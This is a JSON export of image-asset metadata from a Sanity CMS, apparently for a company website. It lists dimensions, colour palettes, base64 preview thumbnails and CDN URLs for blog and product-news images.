{"_createdAt":"2023-09-01T12:46:17Z","_id":"image-e3a2f4b005d98e67727ac4903d23b42e7bfceb19-1569x1563-png","_rev":"61hKAW7KknaTboWXTHqB0j","_type":"sanity.imageAsset","_updatedAt":"2023-09-01T12:46:17Z","assetId":"e3a2f4b005d98e67727ac4903d23b42e7bfceb19","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0038387715930903,"height":1563,"width":1569},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFSUlEQVQ4jV3Ue0xTVxwH8F95FQVBR1se8rotlFJ67zn3togOBkQFFMVoKWBMsGO+WJXJS7DQFAqIFLVlo0V8zKmNZtnjj/0BI9uyaDRbdFUXZ6Zjkajo1qlF45ZsQjh3uawkZCf53O/N/eOX7zm5OWDpfw7mQ4/B3Psk6D3zteANm5uDEUJBGLNz1umyRFsKV8F0GYhIpTiZVIXXkSrxGKkSXyKVYVZiCFGTLRBMSgFIeRCA/fgMdDv9ou6BqcUNlu8k6zbskSKEJRizgugCjg7jEQBfBpHEKKkgdaqvSRPnJ83cS1Knuk6MEhPZDFK+EIDfughgr3kSdjfeFu1u+imi6u2LsryCikSMcBLGbCLGbGwehyJB0yaa3gSJpEbWS5q5p6RjDU861/KkNedPsnP5R0QPan4jAL8vA0CVcwHUOadE6pxTkZoVHfFYuzGJ5XTJLJedxHHZCW/qdDFRaHW4f1NQMm+U9PF1mc/4Zi0/Z7/mL35H/Dm+IjRrpr0QSPtbAPEZJyFeeRTi0vrFScra6AzVSkmWOl0mUGcqYtjM5EigskIfbQiJJttjtpE9qZeJKf0lMaW9IrtTbhGjtH62UhzL74wFfudygANdPmjteSwy9/4W0dpzP7HJ+qOywXItQ9Bkvals7fo5ua79dnTjmqowX6WU+tsY9860Me7EtDH2zD/VsvoXWyWab9fGhfE8AG8MAuhyToHN4Q+xOfzI5vA3dR7zOxcY6Dz2vL2970mu3vhFhDFdFXa9NFH2qCxKPVm2hL5TGpPQu4pbFJVSE8SqDADh50EYJgizOfybbA7/JZvD/yJgyubwv7Q5nv/QefSZ8UDnL5G8UAMAhJy3cGUKjwbrhEDcYJ0wNFgnbjZYJ/j/GW+wTuxq6nwQ1dM/GdLZ82u4rfe+2NY7Ie46NB7e0fsgrP3w78FtfU+h5cgrgCL9iEBcpB8pL9KPeIv0I7ML8EX6kbvF5aO76trG07oHXhTYHH5Dl3PK0OWcz6nSLudUepdzKlQ4PlBqhwVipXa4XKkd9iq1w2QBPp0bvqfKPlW7zzxebLH/8WF7n++GxT7Ha7H7blrsvhGL3bfNYvdFWuw+AIpxCcQU4yqnGJeXYlxkAZ5iXPcUeKjWUHPFsH2v92q1yUsCZqtNXr7a5H1YbfLWV5u80dUmL4AcuUGOXGI5cpfLkdsrR24SMCtHbl6O3HflyF2L8s4Z2HzPFTbfQ7iCObNcgYdn8z0P2HxPPZvviWbzPf81lCP3/MAbgSEL3ZMj97sU4zJQjOtqhu44v2L1GT635Cxhck/yCux+SDGuegV2RwuzQIFPQIrmWDjFDApbvkYxrtcLzFCM6w7FDNZS9AcV6dzQ5fz156dNjaPTLdZvXhu2fzbD5J68TzGD++Xo/egE1RCA+s1RSFBaxCmaI4UU7XBTtHOMoge+DBijaOfpVM3Rzcnq/tX0Srdj245Px4ZOfz924ZNbo2bbV2MFpWfOyxlneaKqewks/RigqHISpKmNwanqg3EKTUtuGt1SqqAPlihoc7GCNpfINea8VHV7UoKyW6bNs7M1e4ZKXMc/X3fWM1Lc0X2xeL1+cJUCHV4updpC5v5zmtGChtaJGIYLR4iVIMQmIMTGIcTKAilhGG6xhtaFsqw2QqfTyrKzdbHZ2TohZTqdLgohXUiWJlvEsjoAjLEgFGM2CmNWKtyBGLOywPt8xmCMYxDCMQyDpQyDJQyD36BptJRh8BKM8CKMcQhCGAAhViBGiF0WaBUbyIWEb/FCY4w5GcaclGW5ZUJjjLVihLgwhNhgjFn4F4Q2XSjcMJcaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a466a","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#091484","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f75109","foreground":"#fff","population":4.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7b264","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c99","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f75109","foreground":"#fff","population":4.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cost-optimisation-diagram.png","path":"images/sczeoy4w/production/e3a2f4b005d98e67727ac4903d23b42e7bfceb19-1569x1563.png","sha1hash":"e3a2f4b005d98e67727ac4903d23b42e7bfceb19","size":45175,"uploadId":"NZq6rPI15DSYqVWTp58cf0zZLe4IBpZr","url":"https://cdn.sanity.io/images/sczeoy4w/production/e3a2f4b005d98e67727ac4903d23b42e7bfceb19-1569x1563.png"} {"_createdAt":"2023-07-05T09:40:03Z","_id":"image-a6f7994395c39b4e43197c774609bd2f6cbadfd7-2500x1308-png","_rev":"jmXwzbQPeNoPKy7NrQUmJI","_type":"sanity.imageAsset","_updatedAt":"2023-07-05T09:40:03Z","assetId":"a6f7994395c39b4e43197c774609bd2f6cbadfd7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M87n^U_4D%V@Rj_4xuIUayof8_IUt7ogt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAACDklEQVQokVWS61MSYRjFd4HdrbxLpDHWDH5x2ndfQBcBQREQ4takBQ1TjCLEe9mV+6hJUzNJm6UIcrH/t1m0mZo5H86H53fOh/MwPKTzGw3r9ok1cGzxNsze+uLW8dPAyWNvw+ypWXwNi7+54GuavXXBqTIAM+I/mlg9Wkl+3dq/Ch12N97/ktOaO/szcNDxf7jczF0G89ehw25gvwN3z6fdNRaQvyRhAGGm1sr2vfMYHqTUUajQ9eeugvnuy1I/+vEmWrpJkOEr9TZ40FmOfn64emS4byYMoAxQmGlXRc5oSWWUpMNwobdT7CXIMI4HO0Xdx9Agjgfe7IUt/Mnia07KZaNEdVJSdHhKLssZ7XX5d4qOIvp1P6WMoqX+Zu5yO38dx4NwsefJXrgymmOvbQ2cCJCyImUlVY+YcKpw91uCDGKoHxm3hQu99Xc/liMtW6S1kvhii7aWQqfPd86ehU7n3BUBYiPABqCwQGF4SJeCp2tv23L6uyujyWnN+aZtC59NOlVBog/sCg8pBykPqQCJABEnlTiAOEBMgDAmEc84lQVP9YmnPu+uzq5XZlyVRw7VCDD7YiyRsICYJMJJyCQhA0BGgDmABRExAkAWB7J6ynPuKg8VVsR3uptkbIhBopyd8hAbxlOxIjaJY5gHyOxEi97KrKfG2RUW6D3/fYKIWUA4SDgdvk80iogH6A990KCDRNI5BQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345074","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":56.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":56.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5c2af","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bbd8","foreground":"#000","population":0.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7597","foreground":"#fff","population":1.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b14c56","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Enforce_policy_control_OPA_Terraform.png","path":"images/sczeoy4w/production/a6f7994395c39b4e43197c774609bd2f6cbadfd7-2500x1308.png","sha1hash":"a6f7994395c39b4e43197c774609bd2f6cbadfd7","size":112601,"uploadId":"pF3FqeNreEq5rlZqELTWwyd5ETlTcJJb","url":"https://cdn.sanity.io/images/sczeoy4w/production/a6f7994395c39b4e43197c774609bd2f6cbadfd7-2500x1308.png"} {"_createdAt":"2023-08-31T12:39:09Z","_id":"image-36ac34e992e6bdbadb839facf0879ba1cb3c9787-1567x844-png","_rev":"s9Qdvl5LQ7akSoW89VuEAJ","_type":"sanity.imageAsset","_updatedAt":"2023-08-31T12:39:09Z","assetId":"36ac34e992e6bdbadb839facf0879ba1cb3c9787","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MeRb|i_$F|XS#Rxabuafn+e-V@ozafWUoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC8ElEQVQokS2RXUyTdxxG/3HOAUGgpDIXoo6ZqAgBg5qoiTE6vdnNrvbBa1u0FLBBBaRjoiBSvkbKhpKJSgdoRSJWtMpgglKakqLdzOZGNAqZXpgs2bLoLlYStO/vmEYvTp67kyc5ii/iYPdiMCdBQQoUGsCWAsXJYDdAeRpSm4G05cDJDUjrWuYac3nmLiU8eIHhS5eZ8HzP004Lcw0ZKPamwYHVULkOqjfCkRh5UJMHx2KbhdStRprXgCubl20b+eeHYqavX2C4z0NXYx3u5uMEe1w8696HwroUKnKhZis07ALndqjfCs0fQ8MWqPoIcSyFmnTEmcH/7Tt54jtNeDzITU8vF2v30+Eoxdvl5v7ItbcPy7KgehMc3wH12+DYZmjcBs7NULkMOZgMXy9B6lbwX8enzPw0QDgwhd/j5ka9nc7yPfSdOs3dQBhFgRHsK6E8G6ryoCoXHJlwOBuqs+BQOlKRCrXp6C2ZvDirMTM2yG/BEHe8vfhPVOFrrWS038O9yZ9RmFOgaBnYP4SSdLAZ30QpSQV7CtgTEYcRmlaht6/nRe9eZm5d4dFUkNnxQR75zvDQ18XD2z6mJydRaIlgfR9sH0ChEayx0klQlAwlSW+EX6VBSyb6iQ0877YwOzrAzJSfPwNXeTzax+xYP7MTPh4E/Sj57F2RL+NFtAQRU4KIOV4oiBOxxgu2eKE4TqTCINRniO7KkednNXk8clEeTIxwf6hXwt5T8qvPzfSolz+CART5CWBJhYJUMCeCthA0BSYFFgWFC5CyJKhbgd62jn+7Lfx+4xx3fxyQYF874z0thPpPcm+on1/8MaHZEKV4eZSS5VGsxiimRVHyVRSTiopFRSl8R5dDBp2GlaK3r9f/7tL0wHmXXOp0MfDtERnqOCr+nlamBs8RujmG4vNFEfITImgx3ouQvyCCpiKYVASLimBbOCcO4zxNq17prpz5v777ZP7KN2X60YNFNJXulsvOUrl9xknI20NoZJjX1g9TeAw3/AQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c2b22","foreground":"#fff","population":3.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832f01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":11.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1b3a8","foreground":"#000","population":7.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc46c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7359","foreground":"#fff","population":2.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":11.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Navigating_life_with_a_crabby_spirit_blog.png","path":"images/sczeoy4w/production/36ac34e992e6bdbadb839facf0879ba1cb3c9787-1567x844.png","sha1hash":"36ac34e992e6bdbadb839facf0879ba1cb3c9787","size":492213,"uploadId":"YdWesogomrikICyNHc7ZQjXJpeRWkqAb","url":"https://cdn.sanity.io/images/sczeoy4w/production/36ac34e992e6bdbadb839facf0879ba1cb3c9787-1567x844.png"} {"_createdAt":"2023-08-01T10:54:53Z","_id":"image-3f26eab92779a096e04bcb2328d9f95009e751e3-2065x1112-png","_rev":"yVtK81NbbqTTUsUfL10i8J","_type":"sanity.imageAsset","_updatedAt":"2023-08-01T10:54:53Z","assetId":"3f26eab92779a096e04bcb2328d9f95009e751e3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M@PfQ0|GJVS1-9%1R*oLoLWBsAWWjZj[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8570143884892085,"height":1112,"width":2065},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAB5LAAAeSwG9LhMsAAACq0lEQVQokV3T20vTcRjH8V9b6ebmljObedgyNrU5RLOVSGqlgZRilIrn01KXSzfdwZE7OGeaOq0kEzIjIjAhuuquboMigv4Br7voIoJuAv2+YwoVXTy3Lz6f5+GRaDoIrUpoV0GHEjqSoOsQ9CnAroAhBWIiE7FgRazYEAsWfk7l82W2gfWZUWIhH+tz43xauMr3qBGJrjQYKQRfGfhKwGsFTwFMFMFkMXgNCH8mImaCRSu/4qfYvn+dlwtjhNwDRN0D3At72Ix7+Lzah0TvEfDbIFoLUxcgWg2RCohVwvwlmLYhAgbEZDYiepwf8UrePw4wH5vEO9DOQ7+D9ekAa0uzvN58mgAzIFAOsTqYroGpKgiXw2QphMsgVIzw50JAjwjl8G2pljdrEbwuB8PNday4elkNOFmeCfN86xUSPUfAUwqRixCphuBZ8BXB8FEYTIWbqQh3GgSzEXfMfH1wha17AQa7m2mpOcPItVrcbQ0EfaNsvNhEol0NQ0YYs8KYBVwmcOihN3EcCfoPINyHIWZCLJeyHa9jyddFU0MNNeVWqsoKuXzehm/MyZM/4EAO3DLDiBmcBrBroEsG3RLY5QiPDuYK2V0u5YO/hM7aIiwn88g35WAw6CkrKcDpsPNo4xkSbSroz9xPedMIQ3roUUKntA/2yxAuDUTz2Llr4e2gkepCLSlaFWqdBnW6lhzjMS7X1xGdX0wkTIB6uJEF9gzoToEO2T/gAcSIGiIGduaLeOc0U23RcVClQK5WckijQqnTUHzWhut2EIlOLQzmgiNRNQM6k6FN+gvaZQi3FqZPsBsv5qO/hNZKE5p0LbKUZOQqBco0DbZzFXhDYSRaktjbY4ca2hXQJv8PlCPGdYgZ8963bIdPE2ypwGDM2gMTk56ZQWNjPXOLi/wGDmYGfjTLPUUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f3c2e","foreground":"#fff","population":1.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832f01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":15.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9eb4d4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac182","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#937060","foreground":"#fff","population":2.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":15.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Meet-the-Cast-Olena-Babenko.png","path":"images/sczeoy4w/production/3f26eab92779a096e04bcb2328d9f95009e751e3-2065x1112.png","sha1hash":"3f26eab92779a096e04bcb2328d9f95009e751e3","size":1384592,"uploadId":"Z8k4cnsAcfsVVhpLWbS0Urdij3w8oIVq","url":"https://cdn.sanity.io/images/sczeoy4w/production/3f26eab92779a096e04bcb2328d9f95009e751e3-2065x1112.png"} {"_createdAt":"2023-07-31T13:08:23Z","_id":"image-7bd351948fc9646acbecb64868fcd7ff64a29721-1500x753-webp","_rev":"yVtK81NbbqTTUsUfKy8RhJ","_type":"sanity.imageAsset","_updatedAt":"2023-07-31T13:08:23Z","assetId":"7bd351948fc9646acbecb64868fcd7ff64a29721","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7SF;N?]0O.R02^70#8w1gZiTftQ00RPE3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9920318725099602,"height":753,"width":1500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAPoAAAD6AG1e1JrAAABwElEQVQokYVSTYsUMRDt/+tFPAii4NGDJ0/+CkEEUXEHFDwoexyZ3dnZ6R7G1rT9nXSS7nzVk87MoK4sPnhUJamPV0WSOy8v8GiR4dOew7iAGUT0X4JiKGY/DAY+5whsQHL3xRKP323w4bqCkBreuWPCLYWOCCHAeQejJ4jPOZpnXyCfnyN5+5VhsS6xZg1YXaITPZxzh+63qPXeQysNLjhEw/HzzQa7e+9R3j9DMloPNVk0okda5vhWF1Baw08GdjSw1sYGJ85npRTatkXf99BSQaQt6rMUfJEhOUgJkFqh6GrUvIMeJPT3Cjxj6KsmJnZdB845pJQYhiFaY0wcPfgAPzn4ySM5jTF3n8wEYy3sOGHYMfxYXmG32SLNMmy3W+z3+6hMax3j/9zpCXPB46p+I/hAque032Z0ubqg1WpFy+WS1us1VVVFQghSSpFzLsZ7IjKeyAaiOHJUeexw8Cnuqu1aFEUBxhjyPI9WcBHHL8syrkKNE66lw8fG4Ly3B4U3cdLrvY8qZlpro53vtNbUNA01dU0lH+gV0/TwStLTTEaF8x/5i0T0z93Nd2OtG0ftOjW512x0Dy6le5JK9wuFv/yriDE+KwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a3d6f","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a5fa8","foreground":"#fff","population":0.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e9bd4","foreground":"#fff","population":1.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c69fb6","foreground":"#000","population":0.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#88e9ec","foreground":"#000","population":0.43,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#757d73","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e9bd4","foreground":"#fff","population":1.98,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"7bd351948fc9646acbecb64868fcd7ff64a29721-1500x753.webp","path":"images/sczeoy4w/production/7bd351948fc9646acbecb64868fcd7ff64a29721-1500x753.webp","sha1hash":"7bd351948fc9646acbecb64868fcd7ff64a29721","size":42460,"uploadId":"trmkyxima74dVua4HS7SyuJFd1eYfI1A","url":"https://cdn.sanity.io/images/sczeoy4w/production/7bd351948fc9646acbecb64868fcd7ff64a29721-1500x753.webp"} {"_createdAt":"2023-07-31T13:13:25Z","_id":"image-30fcc0f6c96f43c3506730c67eeb5592208cfa24-1500x1459-webp","_rev":"LX2G4IZzKdBcRydHgnHzGG","_type":"sanity.imageAsset","_updatedAt":"2023-07-31T13:13:25Z","assetId":"30fcc0f6c96f43c3506730c67eeb5592208cfa24","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"e2QmI;?cMctm?G00014n_3M{00ohWUD*_200E2D%WCW:00kD9FD%-:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0281014393420151,"height":1459,"width":1500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAPoAAAD6AG1e1JrAAADNklEQVQ4jY2Ty49URRTG+7/RjcHEhYmJCxIxEEWZAdcYZkh0MYlxabQxUQmwMCbgxjcwKo6x3RnjAtRoIMaFGhihh9v39oOenr7Pelfd12eq+vbAwIS4+N3Tde6pr05993Tr8eePYc/B43jsuWU8+uzLeGTfUTx5ZAVHXjuJpfY5LL/9IZZPnHMstc/i2FszFlbewROHXsWe/Ufx9KFl7D18HE+9sITWgfYF7G9fxDNvXsDeN8479rVXcfC9NSyc6mDxzPdYPNPB4ukOFiynvsPh0x28ePJbHDixipfeXcXKB9/g9bNreOX9S2it/dHDpWsezv/WxUdX1htu4OPL1/HJ5ev49MoNfPbzOj7/ZR1f/HoTF3/fwJdXb+Orqx6+vuah86ePH//u46d/+vjhrwCtOKMIU4LRJERvOEZvuAl/ZBkjGI7RH43Rv7OJwXiCO1uhq00Ic8SWjCHKKKKUOFqcMTBGkWUp0iQBJQScUZdjlLq1jZwzSCGgpITWCrnRyI2B0QpScFgdS4vaTZSCNHAuIKWC0hpKaQghIKSEMQZ5UUBbEZOjLEuUVeVyQkhQypxOi7kOGShjIIyDCQmhNKQ2UCaHaqIpShSlFSiRlxWKqkZZ1W5tD3QaVtA+WCOWMOFImUTGJag0EKaAzEuHaJitqxmmABfiriCbC1JrLkGYZs5wwiWY1ODKQGgDrrTLZUxs52doMH6vYPODEIIkSZFmGTjn0Fo736yX1lPrZZYRxEniovXM1kk1e7dDcL6whfZlnjeml6UTtTm7OcsyRFGEOI5dAzav3YG7eUiI645x7gSLonDYDfaDzSfB1thoO8ubml0FZx1mTth248al6cwKuPFqbmMFTG6cmMlnN3jAw/+DPczNajObUt2d1Qc6vJf7hea5KE6wuTV1TKYhoiR1Ft3fYU0p3YHNzZmvCaX1VhjW/mBY3/b7tecHdX84quM42VG7/dfbjfmpszml2JpO0QsG6PYCbHg+/KCPMAx33Mx2WD0MSqmLhNBqMg0rLxhUXS+our2g8gejKoqTijG+XWsF1cOglLpICFHjyVTd8ny1frOr/r21oTy/r6I4Vpzz7dr/APBGZzRiahF7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334254","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a70b0","foreground":"#fff","population":3.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0a70b0","foreground":"#fff","population":3.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4c8","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84caf8","foreground":"#000","population":0.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6594ad","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#046cc7","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"30fcc0f6c96f43c3506730c67eeb5592208cfa24-1500x1459.webp","path":"images/sczeoy4w/production/30fcc0f6c96f43c3506730c67eeb5592208cfa24-1500x1459.webp","sha1hash":"30fcc0f6c96f43c3506730c67eeb5592208cfa24","size":82768,"uploadId":"UJCPLaWWztUtRYfodxgNy6WXtlJxnjBX","url":"https://cdn.sanity.io/images/sczeoy4w/production/30fcc0f6c96f43c3506730c67eeb5592208cfa24-1500x1459.webp"} {"_createdAt":"2023-07-31T13:26:04Z","_id":"image-78c551416272661fd8e013f5ba0fb7b7b169fd8f-1200x628-png","_rev":"LX2G4IZzKdBcRydHgnItIw","_type":"sanity.imageAsset","_updatedAt":"2023-07-31T13:26:04Z","assetId":"78c551416272661fd8e013f5ba0fb7b7b169fd8f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSyp$*KlAUGmkV]xtX5WBniL#uPV?eSkX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACXUlEQVQokV2SSWyNYRSGv3tdraGotKwIKxERXQixkkaExEaoqtLi9tKaY54tEZEYYkjUkNiU2LGRGkI1SBEsRGIpoSKGv7339g7/933vI/8lpsWTc87myXtyjtGSBGoaiZLVKFWF1lShtaPR6jK00kDSoJThS2s1D9fP5vqmejq2N9Oxr5WOA+u4tm/tTw6s59qhjRjVD0arqlDbeLRhAto8EW0ah9oqUUsZKgljpPdO5e3Vo/R0dvLs/gOePejieVc3L7oe8fzhL7q6MWoYgtZNRLuno/0z0aFZ6OAMtGcK2hilHoTaEthjs0n33CL43kc6kyOdzZHJ5ktEc1SzAwWMlpaj1vFoRw3aVYN2T0N7pqFdk9CGKpRKwOYK3NkFZF/dJh0E5PI5imEBa0OctdgwxDmL5DGqi1FK2TQCNVegVcNRcjhqGYqSCZSKw7bR2PY6gtd3+fr1G5mBLPlinjAMsdZSLIaEocW5SLjIUGKxQUsMajCo0aAmUzqKWmKwtRJ7cTH9b+4RBAHZXJZCMf87YfhL7J3D+EhUF0f1cdQQR8tiaPn/wlG4CwvJvOmkrz9goJCnEBYJncM6T2ij6vBeGF+fwDdX4qO3WV2JmsvR8tgfYWoQ7ByDu7iQgZc3yPS+I//tPcXgA7avF9fXiw0+4vo/4dOfMX5pGT45Ft86Dq0Zi1YOQyv+FsbRzmp0thZ7czvhncPY+8dw3afwj8/gu0/io/7JOfT0PMbXxYikWlaOGgejxvi/KydjaEsFOjIZnZ6JjtegE9PRhVp0aS5qr0Xtc9DleejKfH4AZCJHQeNtm0MAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#684960","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1348","foreground":"#fff","population":1.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9bfbe","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab969","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#63a2b3","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Product News Q2 2023.png","path":"images/sczeoy4w/production/78c551416272661fd8e013f5ba0fb7b7b169fd8f-1200x628.png","sha1hash":"78c551416272661fd8e013f5ba0fb7b7b169fd8f","size":146031,"uploadId":"eCTB99eyZ5K6aZeGk5Almv6p226roMhZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/78c551416272661fd8e013f5ba0fb7b7b169fd8f-1200x628.png"} {"_createdAt":"2023-07-18T09:20:15Z","_id":"image-4c8db9f3327a290949bcc9c1bc6dd1cd35ad80cc-1024x1024-jpg","_rev":"ZAcbSK3uvq8wrRGYPSqbM7","_type":"sanity.imageAsset","_updatedAt":"2023-07-18T09:20:15Z","assetId":"4c8db9f3327a290949bcc9c1bc6dd1cd35ad80cc","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e,P?XUjZ?^oznhxYWBoekCkCT0kCe.jtRjtQays:ofRjkCa}aejsWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1024,"width":1024},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAYHAv/EACMQAAIBBAICAgMAAAAAAAAAAAECAwAEBREGIRJBByQxYXH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwH/xAAbEQACAgMBAAAAAAAAAAAAAAAAAQIDEhOBIf/aAAwDAQACEQMRAD8A3D5OyLQ29tjxO0Ed0SJXQ6YL/aj+LCPjGdsosfkLiSC4cLJDLJ5Ag+/1Vn8mQQpZ2985UPC3j2NjRqL448F7yO1inljcBg/ki71r1ujyyz8HVRrdLbNqFK5VlKgqRqlIAkhyuTeMYOqSCQhWDjfRqKxUEeLu/pKIy0gB631v8UpVWlsh02DeqfDQ2kcEaYjr